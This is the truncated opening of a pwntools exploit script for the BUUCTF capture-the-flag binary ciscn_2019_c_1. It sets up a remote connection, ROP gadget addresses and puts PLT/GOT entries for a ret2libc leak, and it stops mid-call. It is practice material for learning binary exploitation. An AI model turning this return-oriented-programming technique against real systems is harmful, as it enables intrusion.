BUUCTF ciscn_2019_c_1
from pwn import *
from LibcSearcher import *
context.os='linux'
context.arch='amd64'
context.log_level='debug'
ru=lambda x:io.recvuntil(x)
rl=lambda :io.recvline()
sla=lambda x,y:io.sendlineafter(x,y)
io=remote('xxx',xxx)
elf=ELF('./ciscn_2019_c_1')
ret=0x4006b9
pop_rdi=0x400c83
main=elf.sym['main']
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
sla(